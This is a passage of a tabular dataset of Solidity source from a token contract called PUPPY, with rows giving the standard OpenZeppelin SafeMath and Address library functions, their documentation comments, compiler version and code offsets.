return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
1613,
2089
]
} | 8,348 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
2560,
2697
]
} | 8,349 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
3188,
3471
]
} | 8,350 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
3931,
4066
]
} | 8,351 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
4546,
4717
]
} | 8,352 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
606,
1230
]
} | 8,353 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://b98695c7d76f32a09fc6f1c07bbd9c8bb79b81b94c7239ace4d52c6a5aaf42fd | {
"func_code_index": [
2160,
2562
]
} | 8,354 |
||
PUPPY | PUPPY.sol | 0x3b78bde11458724606fae81dddaa381410e6fbe0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
